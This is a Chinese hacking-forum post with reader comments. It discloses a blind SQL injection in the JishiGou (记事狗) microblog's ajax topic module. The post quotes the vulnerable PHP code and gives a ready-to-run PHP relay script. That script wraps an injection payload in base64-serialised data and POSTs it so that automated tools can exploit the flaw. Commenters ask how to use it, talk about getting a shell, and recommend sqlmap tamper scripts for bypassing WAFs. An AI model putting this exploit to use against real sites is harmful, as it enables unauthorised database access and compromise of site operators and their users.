记事狗微薄 注入
/modules/ajax/topic.mod.phptest
可能注入起来比较麻烦
应为没有回显 只能盲注,
所以我写了个中转程序 丢工具跑跑起来的速度还凑合
function Pic_ajax()
{//echo 11;
//echo base64_encode(serialize(array('a'=>'0\'#')));
$options = array();
$TopicListLogic = Load::logic('topic_list', 1);
$per_page_num = $this->Post['pp_num'] ? (int)$this->Post['pp_num'] : 20;
$cache_time = $this->Post['c_time'] ? (int)$this->Post['c_time'] : 10;
$uid = $this->Post['uid'] ? $this->Post['uid'] : '';
if($this->Code =='channel'){
$id = $this->Post['id'] ? $this->Post['id'] : ''; //获取
$options = array(
'item'=>'channel',
'item_id' => unserialize(base64_decode($id)),//解码,应为Base64所以无视Gpc。。
'perpage' => $per_page_num,
);
$info = $TopicListLogic->get_data($options);//查询函数 里面也没做任何过滤
get_data($param, $caller = "web")
.....
$item_ids = $this->_process_param($param['item_id']);//这里 赋值
$item = trim($param['item']);
.....
$where_sql = ($perm_sql ? " AND {$perm_sql} " : '').
(isset($param['tid']) ? ' AND `tid` IN ('.jimplode($tids).') ' : '').
($roottids ? ' AND roottid IN ('.jimplode($roottids).') ' : '').
($from ? " AND `from`='{$from}' " : '').
($item_ids ? " AND `item_id` IN (".jimplode($item_ids).") " : '').//写入语句
($item ? " AND `item`='{$item}' " : '').
($content ? " AND `content`='{$content}' " : '').
($content2 ? " AND `content2`='{$content2}' " : '').
($filter_sql ? ' and '.$filter_sql : '');
可能注入起来比较麻烦
应为没有回显 只能盲注,
所以我写了个中转程序 丢工具跑
<?php
$data=base64_encode(serialize(array('a'=>'0\') and 1='.$_GET[id].'#')));
$flag = 0;
$post = '';
$errno = '';
$errstr = '';
$host='127.0.0.1';
$path='/jsg';
$argv = array(
'id'=>$data,
);
foreach ($argv as $key=>$value) {
if ($flag!=0) {
$post .= "&";
$flag = 1;
}
$post.= $key."="; $post.= urlencode($value);
$flag = 1;
}
$length = strlen($post);
//创建socket连接
$fp = fsockopen("$host",80,$errno,$errstr,10) or exit($errstr."--->".$errno);
//构造post请求的头
$header = "POST {$path}/ajax.php?mod=topic&code=channel HTTP/1.1\r\n";
$header .= "Host: {$host}\r\n";
$header .= "Referer: /flandy/post.php\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".$length."\r\n";
$header .= "Connection: Close\r\n\r\n";
//添加post的字符串
$header .= $post."\r\n";
//发送post的数据
fputs($fp,$header);
$inheader = 1;
while (!feof($fp)) {
$line = fgets($fp,1024); //去除请求包的头只显示页面的返回数据
if ($inheader && ($line == "\n" || $line == "\r\n")) {
$inheader = 0;
}
if ($inheader == 0) {
echo $line;
}
}
fclose($fp);
?>
评论31次
这洞,好洞,技巧很高级。很不错。
偶尔有来学xi,精华了。。。
继续膜拜
感谢分享
有空找个试试
V5,代码审计是个细活儿。。
问下撸主,这个记事狗是什么版本
看不懂代码
mark.
很早以前接过一个单子,搞定了。。貌似挖了很长时间这个微博。。但是没挖出来,但是看日志,别人是利用漏洞搞进去的,但是应该不是这个漏洞。。
0 不好意思,主要是看到两个都是127.0.0.1就有点糊涂了~在我印象里中转ip应该是以本地127端搭建环境测试中转页面然后远程ip进行注入的。
谁在挖个暴路径的洞,就可以直接getshell了,不用盲注这么苦逼了
回复 13# anlfi 能具体点吗?还是不会用。没明白怎么用
www.xxx.com/phppost.php?id=1 你没看到?人家那么辛苦的发帖 被你糟蹋了,你不好好看帖。瞎子怪起,画家来了。 要求着,要求那的
大牛so 3ks~
host和path 不要带http
php搞注入中转还是很方便的
安装这个软件的时候有提示需要安装FIREFOX插件的
sqlmap 的base64encode.py插件就可以注入啦 还可以用来bypass WAF的插件好好用呢 进入sqlmap\tamper\ 看看吧有惊喜哦 还可以自己写bypass 插件呢